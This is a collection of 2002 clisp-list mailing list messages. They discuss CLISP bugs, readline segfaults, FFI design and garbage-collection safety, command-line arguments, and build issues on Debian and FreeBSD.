Whether one should thank an application for doing buffering and thus behaving well in many environments or thank the Linux environment (or NFS?) for allowing unbuffered applications not to perform too badly is open to debate.

Regards,
	Jorg Hohle.


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Hello all,

I am looking for any info regarding exception handling in clisp.

The problem is like this: I have two programs running on two sides 
(server and client) of a socket. When the server crashes, any attempt by 
the client to send or receive a message would lead to the client's 
crash. I would like to have a solution so that the client can detect the 
crash of the server, and wait for its recovery instead of simple crash 
and restart.

Please let me know if you have any good solution to this. Thank you very 
much.

--Fuliang




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On Thu, 17 Oct 2002, Fuliang Weng (RTC) wrote:

> (server and client) of a socket. When the server crashes, any attempt by 
> the client to send or receive a message would lead to the client's 
> crash.

Huh? Maybe the client is dying due to an unhandled SIGPIPE after
writing on the socket?

> I would like to have a solution so that the client can detect the 
> crash of the server, and wait for its recovery instead of simple crash 
> and restart.

If you can turn the socket error into a condition, then you have the
condition handling system in Lisp at your disposal. The code
surrounding the socket operation has the expertise on how to reconnect
to the server, or on how to recover itself if that is not wanted.
To choose the course of action, it can provide restarts for all of them
and signal an error, to get advice from higher level code.

Read about restart-case, handler-bind, invoke-restart, error,
define-condition, signal and friends.



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What do you suppose it would take to make clisp into a mozilla plug-in? 
It needs to be compiled as a dynamic library to be loaded as a plug-in 
and have a few functions accessable for initialization...

-Scott Williams



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Hi!

I experience some readline related problems with clisp 2.30 CVS.
Pressing  Tab to get command completion always causes segfault.
As far as I can remember clisp 2.30  release notes mention
readline 4.3 but I have older readline 4.2a.  

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> * In message <3DB017A2.20505@yandex.ru>
> * On the subject of "clisp 2.30 and readline problems"
> * Sent on Fri, 18 Oct 2002 17:16:02 +0300
> * Honorable "Vadim V. Zhytnikov" <vvzhy@yandex.ru> writes:
>
> I experience some readline related problems with clisp 2.30 CVS.

is it release 2.30 or the current CVS head?
what is your platform?

> Pressing  Tab to get command completion always causes segfault.
> As far as I can remember clisp 2.30  release notes mention
> readline 4.3 but I have older readline 4.2a.  --

Could you please './configure --with-debug' and give me the backtrace?
Thanks.

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I have completed the port of my network server from C to Common LISP.  As
you may recall, I started with CLISP (because I was familiar with it and
because I liked the implementation).  After running into a few road-blocks,
I decided to port it to CMUCL as a tool for comparison.  (My experience with
CMUCL in the past was not very pleasant.)

I can now make the following generalizations about CLISP/CMUCL from the
standpoint of a single-threaded TCP-based network server:

	1. Sockets.  Both implementations (via their FFI) can provide reasonable
bindings to sockets.  Definitely avoid socket streams, though.  For my
TELNET server I needed access to: socket, bind, listen, accept, send, recv,
close, select, fcntl, setsckopt and getsockopt.  All but the send/recv and
select interface could be handled with more or less equal facility in CLISP
and CMUCL.  select() would have been more natural in CLISP, except that it
doesn't allow you to create a heap-resident foreign-pointer.  If it had, I
would have allocated 3 fd-set objects on the heap and re-used them over and
over.  CMUCL doesn't handle this any better, though.  I have to convert
bignums into fd-sets for each select() call.  CMUCL wins on send/recv.  The
ability to create SAPs from data arrays is a big win for CMUCL.  If
possible, CLISP's FFI should be enhanced to provide them IMO.
	2. Inrerrupts.  CMUCL's interrupt handling is definitely superior.  By
stealing the SIGALRM handler and defining it as: (lambda () (incf *ticks*)),
it become very easy even in a single-thread to interleave time processing
with select() processing.
	3. I have not played with CMUCL threads.  Since my C design was
single-threaded already, and I was hoping to use CLISP as my implementation,
I decided to keep it single-threaded.  However, now that I have it running
under CMUCL, I may decide to use MySQL (as opposed to flat files) for my
data storage.  A multi-threaded environment makes this more palatable (for
real-time response reasons).

Summary:

	1. CLISPs FFI is quite good.  It could improve with heap allocated foreign
object types and CMUCL's SAPs are a clear win.
	2. Being able to attach LISP code to a SIGALRM proved extremely handy, not
only as a way to keep track of time in general, but as a way to cause
select() to terminate as time events occur.
	3. Threads are not necessary, but they're a nice convenience.

Sadly, I think I have made the transition to CMUCL for this application.

	Dave




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Hello,

I experienced the same problem.

Vadim V. Zhytnikov wrote:
> Hi!
> 
> I experience some readline related problems with clisp 2.30 CVS.
> Pressing  Tab to get command completion always causes segfault.
> As far as I can remember clisp 2.30  release notes mention
> readline 4.3 but I have older readline 4.2a. 


After I had installed libsigsegv and readline 4.3 and recompiled
clisp, the problems disappeared.

I cannot say which one was the real problem solver,
the new libsigsegv or the new readline library.

Maybe give readline-4.3 a try, first. If the segmentation fault is still
triggered, compile with libsigsegv (1.8 is the current release)

Bye,
Stefan



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Sam Steingold ?????:

>>* In message <3DB017A2.20505@yandex.ru>
>>* On the subject of "clisp 2.30 and readline problems"
>>* Sent on Fri, 18 Oct 2002 17:16:02 +0300
>>* Honorable "Vadim V. Zhytnikov" <vvzhy@yandex.ru> writes:
>>
>>I experience some readline related problems with clisp 2.30 CVS.
>>    
>>
>
>is it release 2.30 or the current CVS head?
>what is your platform?
>  
>
Both 2.30 release and CVS. My platform is
Linux 2.4.18, glibc 2.2.6, readline 4.2a, gcc 3.2.1

>  
>
>>Pressing  Tab to get command completion always causes segfault.
>>As far as I can remember clisp 2.30  release notes mention
>>readline 4.3 but I have older readline 4.2a.  --
>>    
>>
>
>Could you please './configure --with-debug' and give me the backtrace?
>Thanks.
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>  
>
I'll try.

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Stefan Kain ÐÉÛÅÔ:

> Hello,
>
> I experienced the same problem.
>
> Vadim V. Zhytnikov wrote:
>
>> Hi!
>>
>> I experience some readline related problems with clisp 2.30 CVS.
>> Pressing  Tab to get command completion always causes segfault.
>> As far as I can remember clisp 2.30  release notes mention
>> readline 4.3 but I have older readline 4.2a. 
>
>
>
> After I had installed libsigsegv and readline 4.3 and recompiled
> clisp, the problems disappeared.
>
Are you sure?  

Firstly, I also upgraded to redline 4.3 and rebuild clisp (cvs HEAD).
Sutuation improved a bit some segfaults dissapeared but not all.

Next I installed libsigsegv.  Fine, no segfaults!
But now I can see error (stack owerflow) which caused
these segfault without libsigsegv:

Script started on Sat Oct 19 14:43:08 2002
[vadim@proxl vadim]$ clisp
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

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Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002


[1]> ab<TAB>
*** - Program stack overflow. RESET
[2]>


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> * In message <3DB1A36D.6050903@yandex.ru>
> * On the subject of "Re: [clisp-list] clisp 2.30 and readline problems"
> * Sent on Sat, 19 Oct 2002 21:24:45 +0300
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> [1]> ab<TAB>
> *** - Program stack overflow. RESET

I do not observe this (linux2.4.18, libc 2.2.93, rh8, no libsigsegv).
Could you please try to debug this a little bit?



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I'm using CLISP 2.27.  I've noticed the following bug in CLISP's
handling of for-as-equals-then loop clauses:

(defun loop-for-as-equals-then-bug ()
  "According to the HyperSpec =A76.1.2.1.4, in for-as-equals-then, var
  is initialized to the result of evaluating form1.  =A76.1.7.2 says
  that initially clauses are evaluated in the loop prologue, which
  precedes all loop code except for the initial settings provided by
  with, for, or as.  However, in the example below, the initially
  clause is evaluated before X is initialized."
  (loop for x =3D 0 then (1+ x)
        initially (assert (zerop x))
        until (>=3D x 10)))

--=20
           /|_     .-----------------------.                       =20
         ,'  .\  / | No to Imperialist war |                       =20
     ,--'    _,'   | Wage class war!       |                       =20
    /       /      `-----------------------'                       =20
   (   -.  |                              =20
   |     ) |                              =20
  (`-.  '--.)                             =20
   `. )----'                              =20


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Is this the right place to report a possible bug or ask a dumb question?

I do this:
,----
| deego@darwin:~$ clisp
|     `-__|__-'        8         8           8           8  8
|         |            8     o   8           8     o     8  8
|   ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8
| 
| [1]> (in-package 'access)
| 
| *** - IN-PACKAGE: argument 'ACCESS should be a string or a symbol
| 1. Break [2]> 
| 
`----

But isn't 'ACCESS a symbol already?


deego@darwin:~$ clisp --version
GNU CLISP 2.30 (released 2002-09-15) (built 3241812248) (memory
3244212566)
Features: 
(ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB
CLX
 CLX-LITTLE-ENDIAN HAVE-WITH-STANDARD-IO-SYNTAX HAVE-CLCS HAVE-DECLAIM
 HAVE-PRINT-UNREADABLE-OBJECT CLOS LOOP COMPILER CLISP ANSI-CL
COMMON-LISP
 LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN
FFI
 UNICODE BASE-CHAR=CHARACTER SYSCALLS PC386 UNIX)
deego@darwin:~$


uname -a: 

Linux darwin 2.4.19 #1 SMP Mon Sep 16 14:53:09 EDT 2002 i686 AMD
Athlon(TM) XP1600+ AuthenticAMD GNU/Linux


Have a good day,

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Hello

is there a way to access command line arguments from within clisp?
Else, WIBNI to provide a way? -- if so, could this be treated as a
feature-request? thanks

In ACL, i could have dump an image and then call:

image -- "foo" "bar" ... 

and the variable command-line-arguments was then bound to '("image"
"foo" "bar"), which made for a nice interface...


In clisp (2.30) , i don't seem to see a similar functionality. 

I do see an *args*, but am very confused as to its usage..
I have tried, clisp "" "foo" "bar", hoping that arg will then be bound
to '("foo" "bar").  Instead clisp tries to look for files foo and bar
:( 

Secondly, it seems from the doc that *args* is only temporarily bound.

Any help appreciated. 

(I am trying to port an application written in ACL to clisp, and
command-line-arguments seems to be the last stumbling block.)


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Hey,

Try:

	clisp <lisp_source_file> <arg0> <arg1> ... <argN>

Where if you have foo.lisp that contains:

	( print *args* )

You can call foo.lisp thusly:

$ clisp foo.lisp "foo" "bar"
("foo" "bar") 


-Ayan

On 22 Oct 2002, D. Goel wrote:

> Hello
> 
> is there a way to access command line arguments from within clisp?
> Else, WIBNI to provide a way? -- if so, could this be treated as a
> feature-request? thanks
> 
> In ACL, i could have dump an image and then call:
> 
> image -- "foo" "bar" ... 
> 
> and the variable command-line-arguments was then bound to '("image"
> "foo" "bar"), which made for a nice interface...
> 
> 
> In clisp (2.30) , i don't seem to see a similar functionality. 
> 
> I do see an *args*, but am very confused as to its usage..
> I have tried, clisp "" "foo" "bar", hoping that arg will then be bound
> to '("foo" "bar").  Instead clisp tries to look for files foo and bar
> :( 
> 
> Secondly, it seems from the doc that *args* is only temporarily bound.
> 
> Any help appreciated. 
> 
> (I am trying to port an application written in ACL to clisp, and
> command-line-arguments seems to be the last stumbling block.)
> 
> 
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> * In message <87fzuyfrb9.fsf@computer.localdomain>
> * On the subject of "[clisp-list] (in-package 'access ...) ==> 'access should be a symbol"
> * Sent on 22 Oct 2002 11:04:26 -0400
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> Is this the right place to report a possible bug or ask a dumb question?

yes (it is also a good idea to subscribe to this list or read it via gmane.org)

> | [1]> (in-package 'access)
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> | *** - IN-PACKAGE: argument 'ACCESS should be a string or a symbol
> | 1. Break [2]> 
> | 
> `----
> 
> But isn't 'ACCESS a symbol already?

'ACCESS == (QUOTE ACCESS) is a cons.
See <http://www.lisp.org/HyperSpec/Body/mac_in-package.html>

> Features: 
> (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB

why do you use both ASDF and MK-DEFSYSTEM?

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> * In message <87znt6e4dp.fsf@computer.localdomain>
> * On the subject of "[clisp-list] accessing command-line-arguments from within clisp"
> * Sent on 22 Oct 2002 14:05:06 -0400
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> is there a way to access command line arguments from within clisp?

<http://clisp.cons.org/clisp.html#opt-exec-file>
<http://clisp.cons.org/impnotes.html#image>

$ clisp -x '(saveinitmem "foo" :init-function (lambda () (print *args*) (exit)))'
990292 ;
524288
$ clisp -M foo.mem "" a b c d

("a" "b" "c" "d")
$

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Hi Marco,

> * In message <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu>
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> * Sent on Tue, 22 Oct 2002 15:35:52 -0400
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> I have been trying to send an email to clisp-list for a few days
> without success.  Could you check is it gets blocked by mailman?

nope - the admin interface is clean -
none of your message has been blocked. 

> The email is about clisp 2.30.  This is what I get.  I think it is a bug.
> 
> [2]> (compile-file-pathname "foo.lisp")
> 
> *** - UNIX error 13 (EACCES): Permission denied
> 1. Break [3]> 

one of the directories in *load-path* or the current directory is
unreadable.  (compile-file "foo.lisp") would signal an error too.


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Thanks for the reply, Sam.  
> 
> yes (it is also a good idea to subscribe to this list or read it via gmane.org)

Subscribed (already), thanks. 
> > Features: 
> > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB
> 
> why do you use both ASDF and MK-DEFSYSTEM?


I didn't try to use both.  I simply tried the plain debian install

 apt-get -t unstable -u install clisp

and got clisp 2.30 installed.  Then, when reporting my problem, i just
typed the clisp --version, and pasted the result.

So, is my clisp using both? Is using both bad?  Is my install
therefore a bit 'broken' ?

PS: 
> > But isn't 'ACCESS a symbol already?
[...]

Ahh, I see should have tried (in-package USER) or (in-package  "USER")
 instead

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Thanks for your messages, Ayan and Sam.

Now i do see the (someewhat roundabout) way to get an image to store its
arguments in a clisp varible.

But again, WIBNI if clisp did that by default---store the commandline
as a string or a list of arguemnts, in a global variable...

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> * In message <87iszucgsv.fsf@computer.localdomain>
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> But again, WIBNI if clisp did that by default---store the commandline
> as a string or a list of arguemnts, in a global variable...

Why do you need the -q/-norc/-M/-m ... ?
-B is ext:lib-directory (see impnotes).
-L is ext:current-language (ditto).

all the other (i.e., non-CLISP-defined) arguments _are_
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> * In message <87n0p6cgy0.fsf@computer.localdomain>
> * On the subject of "Re: [clisp-list] (in-package 'access ...) ==> 'access should be a symbol"
> * Sent on 22 Oct 2002 17:16:39 -0400
> * Honorable "D. Goel" <deego@gnufans.org> writes:
>
> Subscribed (already), thanks. 
> > > Features: 
> > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB
> > 
> > why do you use both ASDF and MK-DEFSYSTEM?
> 
> I didn't try to use both.  I simply tried the plain debian install
> 
>  apt-get -t unstable -u install clisp
> 
> and got clisp 2.30 installed.  Then, when reporting my problem, i just
> typed the clisp --version, and pasted the result.
> 
> So, is my clisp using both? Is using both bad?  Is my install
> therefore a bit 'broken' ?

ASDF and MK-DEFSYSTEM implement the same functionality.
It's like installing both VIM and NVI.


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> * In message <200210222156.g9MLuqb03065@bioinformatics.cims.nyu.edu>
> * On the subject of "Re: Trying to send an email to clisp-list..."
> * Sent on Tue, 22 Oct 2002 17:56:52 -0400
> * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
>
> > > The email is about clisp 2.30.  This is what I get.  I think it is a bug.
> > > 
> > > [2]> (compile-file-pathname "foo.lisp")
> > > 
> > > *** - UNIX error 13 (EACCES): Permission denied
> > > 1. Break [3]> 
> > 
> > one of the directories in *load-path* or the current directory is
> > unreadable.  (compile-file "foo.lisp") would signal an error too.
> 
> Why should this be a problem?  COMPILE-FILE-PATHNAME shouldn't
> interact with the file system.  COMPILE-FILE would, but at a later
> stage.

In CLISP, COMPILE-FILE uses *LOAD-PATHS* when the file is not present
in the current directory (this is an extension which allows you to
recompile your files without typing full paths or CD's).
Therefore COMPILE-FILE-PATHNAME will need to search through it.
See <http://clisp.cons.org/impnotes.html#load-paths>.


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On Tue, 2002-10-22 at 23:57, Sam Steingold wrote:
> 
> ASDF and MK-DEFSYSTEM implement the same functionality.
> It's like installing both VIM and NVI.

It's a feature :)

Debian's common-lisp-controller, which is in charge of recompilation
etc. of Lisp systems included in the Debian distribution, depends on an
installed defsystem facility in the standard image of every Lisp
installation that it manages.  Since packages come with either .asdf or
.system files, c-l-c installs both of these.  The alternative would be
to require the use of one specific system definition facility for every
Lisp package to be included in Debian.

Regards,

Rudi (imagining the flame wars ...)



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On Tue, Oct 22, 2002 at 05:57:29PM -0400, Sam Steingold wrote:
> > > > Features: 
> > > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB
> > > 
> > > why do you use both ASDF and MK-DEFSYSTEM?
> > 
> > I didn't try to use both.  I simply tried the plain debian install
> > 
> >  apt-get -t unstable -u install clisp
> > 
> > and got clisp 2.30 installed.  Then, when reporting my problem, i just
> > typed the clisp --version, and pasted the result.
> > 
> > So, is my clisp using both? Is using both bad?  Is my install
> > therefore a bit 'broken' ?
> 
> ASDF and MK-DEFSYSTEM implement the same functionality.
> It's like installing both VIM and NVI.

... which, if some users prefer vim and some nvi, is a sensible thing to
do.

The Debian treatment of CL is a little sledgehammer-like, but it's
trying to solve a difficult problem: automatic system-wide install of
third-party lisp packages.  Some of these packages have mk-defsystem
descriptions, and some have asds; therefore, to have a chance at
compiling them on install, a given lisp compiler (clisp, in this
instance) must understand both formats.

There is no known problem with having an image with both ASDF and
MK-DEFSYSTEM.  If you discover one, please report it as a bug.

Cheers,

Christophe
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> 
> Why do you need the -q/-norc/-M/-m ... ?
> -B is ext:lib-directory (see impnotes).
> -L is ext:current-language (ditto).

I don't need them (right now), but i guess it can't hurt to have that
information available inside clisp as well..


> 
> all the other (i.e., non-CLISP-defined) arguments _are_ made
> available in *args*.

Yes, although as i understand it, *args* is bound only temporarily to
those arguments, that too while loading a file.  (i guess, the common
lisp specs must surely be allowing for some variables which an
implementation can bind as it chooses... one such variable could be
bound permamnently to initial-args..)

Anyhow, this is just a minor wishlist.  You all have solved my
problem, and thanks a ton for the same...  CLISP rocks. 


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> * In message <87znt5tie1.fsf@computer.localdomain>
> * On the subject of "Re: accessing command-line-arguments from within clisp"
> * Sent on 23 Oct 2002 09:05:42 -0400
> * Honorable D. Goel <deego@gnufans.org> writes:
>
> Yes, although as i understand it, *args* is bound only temporarily to
> those arguments, that too while loading a file.  (i guess, the common
> lisp specs must surely be allowing for some variables which an
> implementation can bind as it chooses... one such variable could be
> bound permamnently to initial-args..)

I think you are somewhat confused.
*args* is _always_ _set_ (as in SETQ) to the list of _all_ arguments
that have _not_ been processed and taken care of by CLISP.

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> > * Sent on Tue, 22 Oct 2002 17:56:52 -0400
> > * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
> >
> > > > The email is about clisp 2.30.  This is what I get.  I think it is a bug.
> > > > 
> > > > [2]> (compile-file-pathname "foo.lisp")
> > > > 
> > > > *** - UNIX error 13 (EACCES): Permission denied
> > > > 1. Break [3]> 
> > > 
> > > one of the directories in *load-path* or the current directory is
> > > unreadable.  (compile-file "foo.lisp") would signal an error too.
> > 
> > Why should this be a problem?  COMPILE-FILE-PATHNAME shouldn't
> > interact with the file system.  COMPILE-FILE would, but at a later
> > stage.
> 
> In CLISP, COMPILE-FILE uses *LOAD-PATHS* when the file is not present
> in the current directory (this is an extension which allows you to
> recompile your files without typing full paths or CD's).
> Therefore COMPILE-FILE-PATHNAME will need to search through it.
> See <http://clisp.cons.org/impnotes.html#load-paths>.


Sorry, but I need to raise the non-conformant flag here.  AFAIU
COMPILE-FILE-PATHNAME is a "pathname algebra" function, unlike
COMPILE-FILE.  Hence, it should not interact with the file system at
all.

This is IMHO a bug which should be corrected.  Besides, at least CMUCL
(and SBCL) along with LW on Windows work as expected.

Recompiling a file is a different issue altogether.  The completion
facility could be added to COMPILE-FILE, not COMPILE-FILE-PATHNAME.

Cheers

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> Thanks for the reply, Sam.  
> > 
> > yes (it is also a good idea to subscribe to this list or read it via gmane.org)
> 
> Subscribed (already), thanks. 
> > > Features: 
> > > (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-MIT-R5 CLX-MIT-R4 XLIB
> > 
> > why do you use both ASDF and MK-DEFSYSTEM?

Why not?

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> Hi Marco,
> 
> > * In message <200210221935.g9MJZqw02809@bioinformatics.cims.nyu.edu>
> > * On the subject of "Trying to send an email to clisp-list..."
> > * Sent on Tue, 22 Oct 2002 15:35:52 -0400
> > * Honorable Marco Antoniotti <marcoxa@cs.nyu.edu> writes:
> >
> > I have been trying to send an email to clisp-list for a few days
> > without success.  Could you check is it gets blocked by mailman?
> 
> nope - the admin interface is clean -
> none of your message has been blocked. 

Yep.  I think this is a SF mistake.  My messages keep bouncing (we
just moved behind a firewall, but I thought I was ok).

> 
> > The email is about clisp 2.30.  This is what I get.  I think it is a bug.
> > 
> > [2]> (compile-file-pathname "foo.lisp")
> > 
> > *** - UNIX error 13 (EACCES): Permission denied
> > 1. Break [3]> 
> 
> one of the directories in *load-path* or the current directory is
> unreadable.  (compile-file "foo.lisp") would signal an error too.

Why should this be a problem?  COMPILE-FILE-PATHNAME shouldn't
interact with the file system.  COMPILE-FILE would, but at a later
stage.

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I don't know if anybody reported this already.

This is in a fresh clisp with an empty init file.  Adding `-ansi' does
not help.

Cheers

Marco


[marcoxa@tapulon ~]$ clisp
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002

;; Loading file /home/marcoxa/.clisprc ...
;; Loaded file /home/marcoxa/.clisprc
[1]> ()
NIL
[2]> (compile-file-pathname "foo.lisp")

*** - UNIX error 13 (EACCES): Permission denied
1. Break [3]> 


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Hi

I just installed clisp 2.30 (tar.gz file from Sourceforge).

I get the following error.

==============================================================================
[marcoxa@tapulon ~]$ clisp
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002

;; Loading file /home/marcoxa/.clisprc ...
;; Loaded file /home/marcoxa/.clisprc
[1]> (compile-file-pathname "foo.lisp")

*** - UNIX error 13 (EACCES): Permission denied
1. Break [2]> 
==============================================================================

Note that .clisprc is empty.  Is this known?

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Hi,
[the same topic arose independently on both clisp and uffi mailing =
lists. I write to both.]

When a C programmers calls
 x =3D foo(...,pointer or &array, ...) s/he defines an implicit =
contract:
 1) the pointer points to data that will be valid at the time it will =
be needed.
E.g. it may be a reference to an array to be filled up by the call, or =
installing an i/o buffer or callback address for later use.

When a Java/Lisp/Smalltalk programmers invokes a foreign function, the =
contract is slightly different:
 2) the pointer into a Lisp/Java object is valid for the duration of =
the call.

Even the weaker contract 2) can be endangered in implementations that =
provide
 i) a moving (compacting) GC *and*
 ii) callbacks into Lisp/Java or programmable signal handlers

E.g. suppose a signal handler or a callback is invoked while in foo. =
The handler calls Lisp code, which causes a GC. The address of the =
double float array passed to foo may not be valid anymore, leading to =
random crashes.


One might be tempted to ask: "what the heck? in my code I don't have a =
handler!".
My answer is that only the system architect, s/he who knows
the complete system can hold such a claim about the system as a whole.
The individual component writer cannot know whether some
other component installed e.g. some signal handler in Lisp.


Ignoring this issue yields to unreliable "it works for me" solutions.
I'm opposed to simple looking solutions that only work in limited,
unspecified contexts. Such solutions are obviously too simple than
possible (w.r.t. Albert Einstein's famous quote).


There are several solutions:
 a) mark Lisp objects passed as reference to be non-movable (during the =
foreign call), or
 b) don't pass pointers to Lisp objects, use space on the
    execution stack instead. That's what CLISP (foreign-call-out,
    with-foreign-object), CMUCL (with-alien) and
    other implementations do, or
 c) use a non-moving GC, e.g. Boehm's conservative GC. However doing
    so precludes nice GC design, probably generational GC and other
    modern features of advanced GC schemes, or
 d) add explicit declarations to the effect that the given foreign
    call (e.g. memcpy) is free of callbacks (while XmainLoop() is not).
 e) Give guarantees and a model about the context in which Lisp-level
    signal handlers are called by the implementation (it's typically
    delayed outside the signal handler). E.g. in CLISP, they could be
    invoked by the bytecode interpreter loop.
 f) forbid passing addresses of Lisp objects to functions not declared
    free of callbacks in implementations where Lisp-level signal =
handlers
    can be called anytime.
 g) ...

I hope this made very clear why I claim that the limited declarative =
power of the popular Allegro construct
(ff:def-foreign-call half-double-vector
    ((size :int)
     (vec (:array :double)))
  :returning :void)
where vec is used for i/o and writes directly to a Lisp double float =
array is dangerous -- outside of Allegro. Such a declaration cannot be =
the base for a UniversalFFI. One has to consider i) and ii) above.

That's also why there must *not* be a (WITH-LISP-ARRAY-ADDRESS =
(addr-var array-obj) &body) in CLISP. One can only do so in limited =
contexts, e.g. for calling recv() and be sure (not hope) never to GC =
before doing so.

Oh, BTW, the AFFI I designed in 1994/5 as an FFI for Amiga-CLISP passes
addresses to Lisp arrays. It has a i) moving GC but no ii) callbacks
nor signal handlers, thus no reliability problem (not considering
buffer overflows and heap corruption here :-) and thus fulfils contract =
2).
I'm specifically not saying that the ability to pass address of Lisp
arrays to foreign code wouldn't be useful or speedy. But it also
has to be reliably defined.

Regards,
	J=F6rg H=F6hle.
who's working on SW-reliability and dependability at
Deutsche Telekom / T-Systems.


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Let's see if this one works

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Since I haven't been able to link external modules with my old CLISP
distribution (core dump) I thought about giving a try at the latest
CVS snapshot.  Unfortunately it didn't work either as I couldn't link
in any module from the distribution (no --with-module option to
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This raise a natural question: are external modules supported at all
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(If you like I can provide more informations.)

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Dear all,

would you please tell me is there a function that I can use in CLISP to
print the elements of a list on screen.


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Hello Green,

Monday, October 28, 2002, 7:13:33 AM, you wrote:

> would you please tell me is there a function that I can use in CLISP to
> print the elements of a list on screen.
There is a number of ways to do it. Simple way:

(setf list-variable (list 1 2 3 4 5))
(print list-vaiable)

Format provides more facilities to format printed lists, for example
(format t "~{~A-~A ~}" '(honky donky hubble bubble))
prints
HONKY-DONKY HUBBLE-BUBBLE

You should read some lisp tutorial. The autoritative Common Lisp reference
is Hyperspec (http://www.lisp.org/HyperSpec/FrontMatter/) but there is a
number of introduction courses, one of which is distributed with clisp
(LISP-tutorial.txt). Also look for lisp tutorials at www.alu.org and
subscribe to comp.lang.lisp usenet newsgroup.

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> * In message <15802.37526.320431.60072@hyde.lpds.sublink.org>
> * On the subject of "[clisp-list] compilation under FreeBSD"
> * Sent on Sat, 26 Oct 2002 14:03:18 +0100
> * Honorable "Walter C. Pelissero" <walter@pelissero.org> writes:
>
> Since I haven't been able to link external modules with my old CLISP
> distribution (core dump) I thought about giving a try at the latest
> CVS snapshot.  Unfortunately it didn't work either as I couldn't link
> in any module from the distribution (no --with-module option to
> makemake).
> 
> This raise a natural question: are external modules supported at all
> under FreeBSD?

external modules are supported on all UNIX flavors and I have never had
any problems with FreeBSD.  Indeed, all recent CLISP releases include
binary distributions for FreeBSD which include the regexp module.

did you try

$ ./configure --with-module=regexp --build build-dir

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Sam Steingold writes:
 > > * In message <15802.37526.320431.60072@hyde.lpds.sublink.org>
 > > * On the subject of "[clisp-list] compilation under FreeBSD"
 > > * Sent on Sat, 26 Oct 2002 14:03:18 +0100
 > > * Honorable "Walter C. Pelissero" <walter@pelissero.org> writes:
 > >
 > > Since I haven't been able to link external modules with my old CLISP
 > > distribution (core dump) I thought about giving a try at the latest
 > > CVS snapshot.  Unfortunately it didn't work either as I couldn't link
 > > in any module from the distribution (no --with-module option to
 > > makemake).
 > > 
 > > This raise a natural question: are external modules supported at all
 > > under FreeBSD?
 > 
 > external modules are supported on all UNIX flavors and I have never had
 > any problems with FreeBSD.  Indeed, all recent CLISP releases include
 > binary distributions for FreeBSD which include the regexp module.

Sorry I didn't amend my posting with my latest breakthrough.  CLISP
indeed compiles and link external modules on FreeBSD.  It's just that
by mistake I've been compiling with Pthreads support, which I
understand is not supported.  In fact the regexp library won't link
to the full system dumping a core during the execution of:

   full/lisp.run -B . -M base/lispinit.mem -norc -q -i [...] -x
   (saveinitmem "full/lispinit.mem")

Removing the thread stuff everything worked fine.

BTW, I'm trying to interface a C library that would spawn threads
(Posix threads) and them, in turn, call back CLISP.  Is there any
support for that?  The alternative is writing a stupid C stub that
serializes the access to CLISP: not brilliant, though.

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> * In message <15794.2888.731787.244999@apocalypse.OCF.Berkeley.EDU>
> * On the subject of "[clisp-list] Bug in LOOP"
> * Sent on Sat, 19 Oct 2002 18:47:52 -0700
> * Honorable "Thomas F. Burdick" <tfb@OCF.Berkeley.EDU> writes:
>
> I'm using CLISP 2.27.  I've noticed the following bug in CLISP's
> handling of for-as-equals-then loop clauses:
>=20
> (defun loop-for-as-equals-then-bug ()
>   "According to the HyperSpec =A76.1.2.1.4, in for-as-equals-then, var
>   is initialized to the result of evaluating form1.  =A76.1.7.2 says
>   that initially clauses are evaluated in the loop prologue, which
>   precedes all loop code except for the initial settings provided by
>   with, for, or as.  However, in the example below, the initially
>   clause is evaluated before X is initialized."
>   (loop for x =3D 0 then (1+ x)
>         initially (assert (zerop x))
>         until (>=3D x 10)))

thanks - fixed in the CVS.

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Dear List,

     I used to use a music program called Symbolic Composer on my Power PC. 
When I moved to a G4 and OS X, I found I could no longer use the program 
because clisp was supported on OSX. Now, it seems, as I browse sourceforge, 
that clisp is supported on OSX. Can anybody walk me thorugh the installation 
process or direct me to the appropriate support files/FAQs?

